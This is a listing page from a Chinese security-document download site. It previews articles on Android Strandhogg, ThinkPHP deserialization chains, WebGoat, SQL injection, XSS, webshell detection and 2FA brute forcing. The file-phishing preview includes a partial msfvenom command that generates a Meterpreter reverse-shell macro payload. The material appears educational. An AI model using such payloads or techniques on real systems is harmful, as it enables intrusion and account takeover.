爱豆文档 - 信息安全文档下载平台 - idocdown.com （部分文档，免费下载）

. . . . . .

Android用户注意，Strandhogg漏洞正在觊觎你的银行账户

# Android Strandhogg漏洞深度分析与防护指南 ## 漏洞概述 Strandhogg是一个存在于Android操作系统多任务特性中的高危漏洞，允许恶意应用程序假冒设备上的任何其他应用程序（包括系统应用程序）进行攻击。该漏洞由挪威安全公司Promon发现，已被数十款恶意应用程序利用。 ## 漏洞技术原理 ### 核心机制 Strandhogg漏洞通过滥用Android任务管理系统的两个关键特性实现攻击： - **taskAffinity**：定义任务与活动的亲和关系 -

2025-08-16 07:16:28

从红帽杯题目学习thinkphp 5.1反序列化利用链

# ThinkPHP 5.1 反序列化利用链深度分析 ## 前言本文通过分析红帽杯2019 Ticket_System题目中的ThinkPHP 5.1反序列化漏洞，详细讲解其利用链构造思路和实现原理。该漏洞利用链设计精巧，涉及多个类的魔术方法和特性，最终可实现远程代码执行(RCE)。 ## 漏洞背景在红帽杯2019 Ticket_System题目中，首先通过XXE漏洞读取服务器上的hints.txt文件，提示需要实现RCE。结合报错信息发现系统使用ThinkPHP 5.2框架，进而联

2025-08-16 07:15:50

从安洵杯学习thinkphp 6.x反序列化POP链

# ThinkPHP 6.x 反序列化POP链分析与利用 ## 前言本文基于安洵杯CTF题目"iamthinking"中涉及的ThinkPHP 6.x反序列化漏洞进行分析，详细讲解其POP链构造原理和利用方法。 ## 漏洞环境题目关键源码如下： ```php namespace app\controller; use app\BaseController; class Index extends BaseController { public function index

2025-08-16 07:14:40

历史最全 WebGoat 8.0 通关攻略

# WebGoat 8.0 全面通关教程 ## SQL Injection (intro) ### 基础注入技巧 1. **查询特定字段**： ```sql select department from employees where first_name='Bob'; ``` 2. **更新数据**： ```sql update employees set department='Sales' where first_name='Tobi'; ```

2025-08-16 07:12:53

Forma LMS学习管理系统存在多个SQL注入漏洞

# Forma LMS学习管理系统SQL注入漏洞分析报告 ## 漏洞概述 Forma LMS学习管理系统存在4个SQL注入漏洞，由Cisco Talos安全研究团队发现并披露。这些漏洞允许经过身份验证的攻击者执行任意SQL命令，可能导致数据库信息泄露、用户凭据窃取，甚至在某些配置下访问底层操作系统。 ## 受影响版本 Forma LMS 2.2.1版本 ## 漏洞详情 ### CVE-2019-5111 - **位置**: `/appLms/ajax.server.php`文件 -

2025-08-16 07:01:44

初识文件钓鱼

# 文件钓鱼攻击技术详解 ## 一、Office宏攻击 ### 1. 宏攻击基础宏是微软Office软件包的特殊功能，支持自动化操作，但也可被用于恶意目的。宏文件具有独特的后缀名： - .docm (Word宏文档) - .xlsm (Excel宏工作簿) - .pptm (PowerPoint宏演示) ### 2. 使用MSF生成宏Payload ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP地址 LPORT

2025-08-16 07:01:19

Apache Axis 1.4远程命令执行诡异探索之路

# Apache Axis 1.4远程命令执行漏洞分析与利用指南 ## 1. 漏洞概述 Apache Axis 1.4存在远程命令执行漏洞，攻击者可通过构造特定请求在服务器上注册恶意服务并写入Webshell，最终实现远程代码执行。 ### 1.1 受影响版本 - Apache Axis 1.4版本 ### 1.2 漏洞原理该漏洞源于Axis默认配置允许远程注册服务，且可通过日志操作将恶意代码写入JSP文件： 1. 通过AdminService远程注册一个自定义服务 2. 在服务中绑定

2025-08-16 07:00:34

挖洞经验 | 从Avast杀毒软件发现价值5000美金的反射型XSS

# 反射型XSS漏洞分析与利用：以Avast杀毒软件为例 ## 漏洞概述本教学文档详细分析Avast杀毒软件中发现的反射型XSS漏洞(CVE-2019-18653 & CVE-2019-18654)，该漏洞存在于Avast的网络接入提示功能中，攻击者可通过构造恶意SSID名称实现XSS攻击。 ## 漏洞基本信息 - **漏洞类型**：反射型跨站脚本(XSS) - **影响产品**： - Avast Internet Security 19.3.2369 (build 19.3.42

2025-08-16 06:59:38

冰蝎动态二进制加密WebShell基于流量侧检测方案

# 冰蝎动态二进制加密WebShell流量侧检测方案详解 ## 1. 冰蝎WebShell概述冰蝎(Behinder)是一款新型动态二进制加密网站工具，目前已发展到6个版本。它支持多种脚本类型：ASP、ASPX、JSP、JSPX、PHP。 ## 2. 检测思路对于WebShell的网络流量侧检测，主要有三个思路： 1. WebShell上传过程中文件还原进行样本分析，检测静态文件是否报毒 2. WebShell上线或建立连接过程的数据通信流量 3. WebShell已连接后执行远程控

2025-08-16 06:58:57

星火计划|Red Teaming实践

# Red Teaming实践教学文档 ## 课程简介本课程由红日安全团队打造，基于Kill-Chain攻击链路模式搭建完整攻击环境，涵盖从信息收集到痕迹清理的全过程。所有环境均为测试靶场环境，严禁用于真实环境，需严格遵守网络安全法。 ## 课程优势 - 由国内知名安全团队开发 - 包含业界安全专家从业经验 - 团队已开源多本安全电子书籍 - 在Web安全、代码审计领域形成完整体系 - 多次受邀作为安全沙龙演讲嘉宾 ## 课程大纲 ### 第一章环境准备 1. **靶场环境准备**

2025-08-16 06:57:42

挖洞经验 | 利用简单暴力枚举绕过目标系统2FA验证机制

# 利用暴力枚举绕过2FA验证机制的教学文档 ## 1. 背景介绍双因素认证(2FA)是一种常见的安全机制，通常结合密码和一次性密码(OTP)来增强安全性。然而，如果实现不当，2FA机制可能被绕过。本教学将详细介绍如何通过暴力枚举方法绕过目标系统的2FA验证。 ## 2. 漏洞原理目标系统使用4位数字OTP(范围0000-9999)作为第二因素认证。由于系统存在以下安全缺陷： - 没有对失败尝试进行速率限制 - 没有在失败尝试后生成新的OTP - 没有锁定机制防止暴力破解这使得攻

2025-08-16 06:57:05

SecWiki周刊（第301期）

# 网络安全技术周刊(SecWiki 301期)深度解析与教学指南 ## 一、安全资讯与法规 ### 1.1 中国爬虫违法违规案例汇总 - **资源链接**: [GitHub仓库](https://github.com/HiddenStrawberry/Crawler_Illegal_Cases_In_China) - **核心内容**: - 中国境内涉及网络爬虫技术的法律案例汇编 - 包含违反《网络安全法》、《刑法》等相关条款的典型案例 - 案例分类: 数据窃取、隐私侵犯、商业

2025-08-16 06:56:34

跳转到页